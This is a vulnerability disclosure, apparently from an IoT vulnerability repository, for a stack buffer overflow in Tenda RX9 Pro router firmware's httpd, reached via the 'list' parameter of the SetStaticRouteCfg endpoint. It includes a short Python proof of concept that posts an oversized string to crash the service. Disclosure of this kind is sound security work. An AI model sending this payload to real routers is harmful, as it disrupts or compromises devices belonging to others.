Tenda/RX9/20/SetStaticRouteCfg.md · GuoXB0_0/IoT-Vuls

## Overview

- Firmware download website: https://www.tendacn.com/download/detail-4514.html

## Affected version

RX9 Pro Firmware V22.03.02.10、RX9 Pro Firmware V22.03.02.20

## Vulnerability files

httpd

## Vulnerability details

In Tenda RX9 Pro Firmware V22.03.02.20 firmware has a stack overflow vulnerability in the `sub_42EEE0` function. The `var` variable receives the `list` parameter from a POST request. However, since the user can control the input of `list`, the statement `if ( sscanf((int)Var, "%[^,],%[^,],%[^,],%s", v16, v18, v19, v20) != 4 )` can cause a buffer overflow. The user-provided `list` can exceed the capacity of the `v16~v20` arrays, triggering this security vulnerability.

![image-20241017191058399](assets/image-20241017191058399.png)

![image-20241017191222778](assets/image-20241017191222778.png)

## PoC

```python
import requests

ip = "0.0.0.0"
port = "80"
router = "SetStaticRouteCfg"
url = f"http://{ip}:{port}/goform/{router}"

payload = 'a'*1000
data = {
	'list':payload
}

response = requests.post(url, data=data)
print(response.text)

```

![image-20241017190339271](assets/image-20241017190339271.png)

![image-20241017190409876](assets/image-20241017190409876.png)

GuoXB0_0/IoT-Vuls

简介

发行版

贡献者

近期动态

GuoXB0_0/IoT-Vuls .gitee-modal { width: 500px !important; }

简介

发行版

贡献者

近期动态

搜索帮助

GuoXB0_0/IoT-Vuls